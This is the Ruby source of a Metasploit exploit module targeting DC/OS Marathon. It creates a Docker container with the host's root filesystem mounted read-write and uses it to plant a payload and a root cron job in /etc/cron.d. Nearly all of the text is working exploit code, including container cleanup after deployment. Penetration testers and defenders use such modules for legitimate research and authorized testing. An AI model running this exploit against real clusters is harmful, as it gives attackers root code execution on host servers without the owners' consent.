1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'DC/OS Marathon UI Docker Exploit',
'Description' => %q{
Utilizing the DCOS Cluster's Marathon UI, an attacker can create
a docker container with the '/' path mounted with read/write
permissions on the host server that is running the docker container.
As the docker container executes command as uid 0 it is honored
by the host operating system allowing the attacker to edit/create
files owed by root. This exploit abuses this to creates a cron job
in the '/etc/cron.d/' path of the host server.
*Notes: The docker image must be a valid docker image from
hub.docker.com. Further more the docker container will only
deploy if there are resources available in the DC/OS cluster.
},
'Author' => 'Erik Daguerre',
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'],
],
'Targets' => [
[ 'Python', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse noconn none tunnel'
}
}
}
]
],
'DefaultOptions' => { 'WfsDelay' => 75 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 03, 2017'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
])
end
def get_apps
res = send_request_raw({
'method' => 'GET',
'uri' => target_uri.path
})
return unless res and res.code == 200
# verify it is marathon ui, and is returning content-type json
return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json'
apps = JSON.parse(res.body)
apps
end
def del_container(container_id)
res = send_request_raw({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, container_id)
})
return unless res and res.code == 200
res.code
end
def make_container_id
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
rand_text_alpha_lower(8)
end
def make_cmd(mnt_path, cron_path, payload_path)
vprint_status('Creating the docker container command')
payload_data = nil
echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path
cron_command = "python #{payload_path}"
payload_data = payload.raw
command = "echo \"#{payload_data}\" >> #{echo_payload_path}\n"
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path}\n"
command << "echo \"\" >> #{echo_cron_path}\n"
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}\n"
command << "sleep 120"
command
end
def make_container(mnt_path, cron_path, payload_path, container_id)
vprint_status('Setting container json request variables')
container_data = {
'cmd' => make_cmd(mnt_path, cron_path, payload_path),
'cpus' => 1,
'mem' => 128,
'disk' => 0,
'instances' => 1,
'id' => container_id,
'container' => {
'docker' => {
'image' => datastore['DOCKERIMAGE'],
'network' => 'HOST',
},
'type' => 'DOCKER',
'volumes' => [
{
'hostPath' => '/',
'containerPath' => mnt_path,
'mode' => 'RW'
}
],
},
'env' => {},
'labels' => {}
}
container_data
end
def check
return Exploit::CheckCode::Safe if get_apps.nil?
Exploit::CheckCode::Appears
end
def exploit
if get_apps.nil?
fail_with(Failure::Unknown, 'Failed to connect to the targeturi')
end
# create required information to create json container information.
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
payload_path = '/tmp/' + rand_text_alpha(8)
mnt_path = '/mnt/' + rand_text_alpha(8)
container_id = make_container_id()
res = send_request_raw({
'method' => 'POST',
'uri' => target_uri.path,
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
})
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201
print_status('The docker container is created, waiting for it to deploy')
register_files_for_cleanup(cron_path, payload_path)
sleep_time = 5
wait_time = datastore['WAIT_TIMEOUT']
deleted_container = false
print_status("Waiting up to #{wait_time} seconds for docker container to start")
while wait_time > 0
sleep(sleep_time)
wait_time -= sleep_time
apps_status = get_apps
fail_with(Failure::Unknown, 'No apps returned') unless apps_status
apps_status['apps'].each do |app|
next if app['id'] != "/#{container_id}"
if app['tasksRunning'] == 1
print_status('The docker container is running, removing it')
del_container(container_id)
deleted_container = true
wait_time = 0
else
vprint_status('The docker container is not yet running')
end
break
end
end
# If the docker container does not deploy remove it and fail out.
unless deleted_container
del_container(container_id)
fail_with(Failure::Unknown, "The docker container failed to start")
end
print_status('Waiting for the cron job to run, can take up to 60 seconds')
end
end
|